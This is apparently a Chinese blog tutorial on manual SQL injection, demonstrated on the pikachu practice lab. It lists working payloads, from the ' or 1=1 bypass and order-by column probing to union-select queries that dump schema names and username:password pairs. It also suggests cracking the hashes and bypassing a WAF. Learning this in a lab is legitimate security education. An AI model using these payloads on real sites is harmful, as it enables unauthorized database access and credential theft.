靓仔们是否经常听到sql注入呢,那么sql注入到底是什么?
引用微软官方的语言来说:
SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成 SQL 语句的任何过程都应进行注入漏洞审阅,因为 SQL Server 将执行其接收到的所有语法有效的查询。 一个有经验的、坚定的攻击者甚至可以操作参数化数据。
那么接下来,让我们来了解一下sql注入是如何产生的。
sql注入属于服务端攻击,原理是参数带入给变量时未经过滤直接带入数据库查询
sql注入与操作系统、数据库类型、脚本语言类型无关,与程序员写的源代码有关
1.1 sql注入分类
sql注入可以分为数字型、字符型、搜索型、特殊闭合型、布尔盲注、时间盲注、报错注入等
此篇文章主要展示的是字符型注入和数字型注入,其他类型注入会陆续更新~
1.2 sql注入流程
我们来梳理下sql注入流程
寻找注入点-> 判断闭合方式-> 验证-> 判断列数及回显位-> 取数据
1.3 寻找注入点
一般来讲,在网站中,注入点都存在于可以与数据库交互的地方,如搜索框,登录输入框、更新、查询、删除等
那么我们找到了可能存在注入点的地方,就需要进行测试,这里采用手工测试的方式,帮助各位靓仔们更好的理解。
1.4 注入提交方式
常见的注入提交有:GET提交、POST提交、COOKIE提交
GET提交: 写在url地址栏里
POST提交:(url地址栏中看不到参数)(bp抓包 语句写在报文里,前面没有"?")(分块传输可能会绕过waf)
cookie提交: (bp抓包 语句写在报文里)
http头(忽略不计)
1.5 万能密码
' or 1=1 其原理是使用单引号对前面的语句进行闭合,这样后面的语句就会被当作正常的sql语句解析,而or为或运算符,即使前面的字符不为真,语句也可以正常执行
2.1 寻找注入点
拿到一个网站,若寻找注入漏洞,第一步就是判断存在与数据库交互的地方,通常有:
登录界面
查询输入框
更新输入框
删除输入框
我们以pikachu靶场的字符型注入为例为例进行演示
首先,从搜索框中输入数据提交,观察url链接变化,若能直接看到参数,则为GET请求,用hackbar可以进行下一步,,若看不到参数,则为POST请求,使用bp抓包进行下一步
发现为GET请求,参数为?name=xx (参数为已经确定存在的数据字段,一般id使用较为广泛,在不知道参数的情况下多数用id来测试)
输入一串不存在的字母并闭合,探测是否会有报错
?参数=afhafgauf'
发现报错,则可能存在sql注入漏洞
或and 1=1、and 1=2
如果前者正常,后者报错,说明语句被带入到了数据库查询
2.2 判断闭合方式
在报错信息中,除去自己输入的内容,可以看到右边闭合方式为双引号 "
2.3 验证注入漏洞
--+在url中会被解析为 --[空格] 其作用是注释掉后面的内容
?参数=afhafgauf' or 1=1--+
此时可以看到查询出了一些数据
2.4 判断列数及回显位
根据上面爆出来的已有信息,已知了部分账号名,使用其中一个名称+order by 1,2,3,4,5...来判断最大列数及回显位(方法不止一种)
?name=vince' order by 1 --+
?name=vince' order by 2 --+
?name=vince' order by 3 --+
执行到3的时候发现没有此列,因此判断为两列
2.5 联合查询
联合查询是连接前后两条查询语句,若前面一条语句查询成功,则后面的一条语句不显示,所以把前面参数的值改为-1表示不存在,这样可以显示出后面的查询语句。
?name=-1' union select 1,2 --+
可以看到回显位是1和2 (在不是回显位的位置上进行查询是不显示结果的)
2.5.1 查询数据库
在2的位置上改为database()
?name=-1' union select 1,database() --+
可以看到当前数据库名为pikachu
2.5.2 *必要知识点
在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中符号"."代表下一级,如mydb.user表示mydb数据库下的user表名
记录所有表名信息的表 information_schema.tables
记录所有列名信息的表 information_schema.columns
table_name 表名
column_name 列名
table_schema 数据库名
group_concat()
将相同的行组合起来,不使用此函数会导致行数过多无法显示
concat_ws(':',str1,str2)
以指定分隔符的方式将多个字符串连接为一个字符串,适用于只有一个回显位显示账号和密码的情况
分隔符不能为空,否则查出来的数据为空
查数据库版本 select version();
查数据库名字 select database();
查数据库用户 select user();
查操作系统 select @@version_compile_os;
2.5.3 查版本信息
?name=-1' union select 1,version() --+
2.5.4 查用户
?name=-1' union select 1,user() --+
2.5.5 查表名
?name=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
可以看到查询出来的表名,其中包含users用户表
2.5.6 查字段名
?name=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') --+
从users用户表中查询字段,从而得到具体的列名,其中包含了username用户名字段和password密码字段
2.5.7 查数据
在回显位1上查询1
在回显位2上用concat_ws()连接user与password
?name=-1' union select 1,(select group_concat(concat_ws(':',username,password)) from users) --+
密文拿去cmd5解密即可获得信息
演示完了基本的字符型注入,下面演示一下数字型注入
3.1 测试注入点
数字型注入流程语句与字符型类似,其不同点是需要burpsuite抓包,在报文中提交注入语句
使用bp抓包,发现存在注入点
测试注入点,and 1--+成功执行 and 1=2报错
注入点可以利用
测试回显位 2可以,3报错
3.2 联合查询
3.2.1 查表名
3.2.2 查字段名
3.2.3 查数据
至此,基本的sql字符型注入和数字型注入就演示完毕,相信各位靓仔已经对sql注入有了一个大致的了解,那么下次我们来说一下其他类型的注入~
来源地址:https://blog.csdn.net/qq_43512091/article/details/129034245